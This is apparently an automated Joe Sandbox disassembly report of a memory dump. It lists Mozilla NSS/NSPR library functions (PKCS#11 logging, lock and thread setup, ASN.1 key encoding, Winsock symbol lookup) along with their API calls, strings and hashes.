Instruction ID: f6e14b3d736c57f279b726a741a7e004b96aca9608d797e3e296e14d28d058eb
Opcode Fuzzy Hash: fb92c4ffa5f634867e1735a83aa7d0aa6f90120fdeed323078e37e2375f306a0
Instruction Fuzzy Hash: A741B871603148ABDB00DF55DE8CFAA77B9AF5231DF044038E9096BA51DB709948CB7E

Function 6C684CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C684CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C684D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684D37

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C684D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C684D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C684DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C684DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C684E20

Strings

*pulSize = 0x%x, xrefs: 6C684E1B
C_GetObjectSize, xrefs: 6C684CEE
pulSize = 0x%p, xrefs: 6C684DB7
nvl, xrefs: 6C684DD4, 6C684DFF
hSession = 0x%x, xrefs: 6C684D12, 6C684D22
(CK_INVALID_HANDLE), xrefs: 6C684D30, 6C684D83
hObject = 0x%x, xrefs: 6C684D65, 6C684D75

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nvl
API String ID: 1003633598-284515238
Opcode ID: 278c88c42d84bd266fd638f538553036082ef0850af10a77a7d5f224c25a59cc
Instruction ID: ff990fbe767b50cf8c292360391d709c143b795392f06256ba8e5ebdc624f9ef
Opcode Fuzzy Hash: 278c88c42d84bd266fd638f538553036082ef0850af10a77a7d5f224c25a59cc
Instruction Fuzzy Hash: 9341EB71602208AFDB009F10DE9CF6A37B9EB4634DF048034F9096BA51DB709948CB7E

Function 6C687C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C687CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687CF3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C687D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C687D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C687D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C687D77

Strings

C_Verify, xrefs: 6C687CB1
pData = 0x%p, xrefs: 6C687D25
nvl, xrefs: 6C687D8F, 6C687DC3
hSession = 0x%x, xrefs: 6C687CCE, 6C687CDE
(CK_INVALID_HANDLE), xrefs: 6C687CEC
ulSignatureLen = %d, xrefs: 6C687D72
ulDataLen = %d, xrefs: 6C687D40
pSignature = 0x%p, xrefs: 6C687D59

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$nvl
API String ID: 1003633598-4033680503
Opcode ID: 3c7e7a15cea87878576098e33b48e0fcaf301d34cb86e9a8608494b23f8823cd
Instruction ID: 891cdfe52b6b1f958b2b871e3efbb6d5ef4f782ddf634e12508c842d5df35402
Opcode Fuzzy Hash: 3c7e7a15cea87878576098e33b48e0fcaf301d34cb86e9a8608494b23f8823cd
Instruction Fuzzy Hash: C631A371702148AFDB109F55DE4CEAA3BF2AB4235CF084434F9096BA11DB309948CBBE

Function 6C682F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C682F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C682F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C682F63

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C682F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C682F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C682FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C682FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C682FE7

Strings

pOldPin = 0x%p, xrefs: 6C682F95
nvl, xrefs: 6C682FFF, 6C683030
hSession = 0x%x, xrefs: 6C682F3E, 6C682F4E
(CK_INVALID_HANDLE), xrefs: 6C682F5C
ulNewLen = %d, xrefs: 6C682FE2
C_SetPIN, xrefs: 6C682F21
ulOldLen = %d, xrefs: 6C682FB0
pNewPin = 0x%p, xrefs: 6C682FC9

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nvl
API String ID: 1003633598-3987637513
Opcode ID: a0c0929151f935d472a087e52fedf7264f646c289ca27a79c4ce82b28266d8da
Instruction ID: a4b79b0e1421ec2e2d805b612606df912baf784089d4f8c17c66037e965dcc03
Opcode Fuzzy Hash: a0c0929151f935d472a087e52fedf7264f646c289ca27a79c4ce82b28266d8da
Instruction Fuzzy Hash: 9731B375603148AFDB009F55DE4CE8A7BB2EB4735DF484034E909ABB51DB309948CBAE

Function 6C769C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C769C70
PR_NewLock.NSS3 ref: 6C769C85

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewCondVar.NSS3(00000000), ref: 6C769C96

Part of subcall function 6C63BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6421BC), ref: 6C63BB8C

PR_NewLock.NSS3 ref: 6C769CA9

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

PR_NewLock.NSS3 ref: 6C769CB9
PR_NewLock.NSS3 ref: 6C769CC9
PR_NewCondVar.NSS3(00000000), ref: 6C769CDA

Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BBEB
Part of subcall function 6C63BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C63BBFB
Part of subcall function 6C63BB80: GetLastError.KERNEL32 ref: 6C63BC03
Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C63BC19
Part of subcall function 6C63BB80: free.MOZGLUE(00000000), ref: 6C63BC22

PR_NewCondVar.NSS3(?), ref: 6C769CF0
PR_NewPollableEvent.NSS3 ref: 6C769D03

Part of subcall function 6C75F3B0: PR_CallOnce.NSS3(6C7B14B0,6C75F510), ref: 6C75F3E6
Part of subcall function 6C75F3B0: PR_CreateIOLayerStub.NSS3(6C7B006C), ref: 6C75F402
Part of subcall function 6C75F3B0: PR_Malloc.NSS3(00000004), ref: 6C75F416
Part of subcall function 6C75F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C75F42D
Part of subcall function 6C75F3B0: PR_SetSocketOption.NSS3(?), ref: 6C75F455
Part of subcall function 6C75F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C75F473

Part of subcall function 6C719890: TlsGetValue.KERNEL32(?,?,?,6C7197EB), ref: 6C71989E

EnterCriticalSection.KERNEL32(?), ref: 6C769D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C769DAF
_PR_CreateThread.NSS3(00000000,6C769EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769D9F

Part of subcall function 6C63B3C0: TlsGetValue.KERNEL32 ref: 6C63B403
Part of subcall function 6C63B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C63B459

_PR_CreateThread.NSS3(00000000,6C76A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C769DFC
_PR_CreateThread.NSS3(00000000,6C76A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C769E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C769E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C769E89

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: b5aefc78b1ad5f0be1eea4f7c726adef41032bb7688b705fd30b5d3c2fc4a16c
Instruction ID: 47e0bda89cbaa6b437f2cb76a8c6fe7070108346d6ff20ce188df0cb11ec11ae
Opcode Fuzzy Hash: b5aefc78b1ad5f0be1eea4f7c726adef41032bb7688b705fd30b5d3c2fc4a16c
Instruction Fuzzy Hash: C8612BB1900706AFD710DF76D944AA6BBE8FF49308B044539E85AC7F11EB30E815CBA5

Function 6C663FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C664014

Part of subcall function 6C6639F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C665E6F,?), ref: 6C663A08
Part of subcall function 6C6639F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C665E6F), ref: 6C663A1C
Part of subcall function 6C6639F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C663A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C664038

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C66404D

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C77A0F4), ref: 6C6640C2

Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C6AF0C8
Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C66409A

Part of subcall function 6C6ABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6640DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6640F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C664108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C66411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C664137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C664150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C77A1C8), ref: 6C66417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C664194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6641A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6641B2
PK11_DestroyObject.NSS3(?,?), ref: 6C6641D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6641FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C77A1A8), ref: 6C66422D

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 0e939b85d2b0606d785361b84d16c14bbff6e23a9f8a970531a9e37e68c402ca
Instruction ID: e8d5ba0a5010404dac0e1cb622ebc99dd7662ea4190aadad98f6853c3db08788
Opcode Fuzzy Hash: 0e939b85d2b0606d785361b84d16c14bbff6e23a9f8a970531a9e37e68c402ca
Instruction Fuzzy Hash: F451F6B1A043016BF710DB269C61BB7B6DD9F5234CF140528E95AC6F42FB71E91882AF

Function 6C6A8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8E9E
PORT_ArenaAlloc_Util.NSS3(6C7B0B64,00000001,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8E01), ref: 6C6A8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7B0B64,6C7B0B64), ref: 6C6A8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C6A8F3F

Part of subcall function 6C6AA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C6AA421,00000000,00000000,6C6A9826), ref: 6C6AA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6A904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C6A8E76

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b41af695523b766951f8b3d7dd66e221d047e4c6bbeb62b751c989f09ed93225
Instruction ID: 0a5e921e9643bca006ffd503c695ffcc5610e738b0be403def85a23dd1839119
Opcode Fuzzy Hash: b41af695523b766951f8b3d7dd66e221d047e4c6bbeb62b751c989f09ed93225
Instruction Fuzzy Hash: E66173B5D0010A9BDB10CF96CD44AABB7B5FF88358F244129DC18A7711E732AD16CBB4

Function 6C658E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C658E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C658E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C658EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7818D0,?), ref: 6C658F03
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C658F19
PL_FreeArenaPool.NSS3(?), ref: 6C658F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C658F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C658F65
PL_FinishArenaPool.NSS3(?), ref: 6C658FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C658FFE
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C659012
PL_FreeArenaPool.NSS3(?), ref: 6C659024
PL_FinishArenaPool.NSS3(?), ref: 6C65902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C65903E

Strings

security, xrefs: 6C658EE7

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 537c0f8e005092767397222f4db3d4fbf262e1a1ef082590e7792f1813577c89
Instruction ID: 6727b6f100abf774d9a923c139fa9ad8fe012f12834da34d9ee099564e4fab89
Opcode Fuzzy Hash: 537c0f8e005092767397222f4db3d4fbf262e1a1ef082590e7792f1813577c89
Instruction Fuzzy Hash: E95169B1648300ABD7105A14DC41FAB73E8AF8A35CFA0082EF95497F50E731D829876F

Function 6C71CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C71CC7B), ref: 6C71CD7A

Part of subcall function 6C71CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C68C1A8,?), ref: 6C71CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C71CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CD8E

Part of subcall function 6C6405C0: PR_EnterMonitor.NSS3 ref: 6C6405D1
Part of subcall function 6C6405C0: PR_ExitMonitor.NSS3 ref: 6C6405EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C71CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C71CE48

Strings

getnameinfo, xrefs: 6C71CDB2, 6C71CE23
getaddrinfo, xrefs: 6C71CD88, 6C71CDF9
ws2_32.dll, xrefs: 6C71CD75
freeaddrinfo, xrefs: 6C71CD9F, 6C71CE10
wship6.dll, xrefs: 6C71CDE3

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 524f7c8cace327e20cca65ae3e2fb239c926563253bd2b8b7b8e7d06689f4d6f
Instruction ID: 4de1f8247834431d80a4a036b94170acac42c10d7a72cda8428bdb0db315982c
Opcode Fuzzy Hash: 524f7c8cace327e20cca65ae3e2fb239c926563253bd2b8b7b8e7d06689f4d6f
Instruction Fuzzy Hash: 121126A6E1B12217EB006AB22E01EAA3C5C9B1310EF5CC534E905D2F41FF21D60983EE

Function 6C761C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7613BC,?,?,?,6C761193), ref: 6C761C6B
PR_NewLock.NSS3(?,6C761193), ref: 6C761C7E

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewCondVar.NSS3(00000000,?,6C761193), ref: 6C761C91

Part of subcall function 6C63BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6421BC), ref: 6C63BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C761193), ref: 6C761CA7

Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BBEB
Part of subcall function 6C63BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C63BBFB
Part of subcall function 6C63BB80: GetLastError.KERNEL32 ref: 6C63BC03
Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C63BC19
Part of subcall function 6C63BB80: free.MOZGLUE(00000000), ref: 6C63BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C761193), ref: 6C761CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C761193), ref: 6C761CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C761193), ref: 6C761CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C761193), ref: 6C761D1A

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
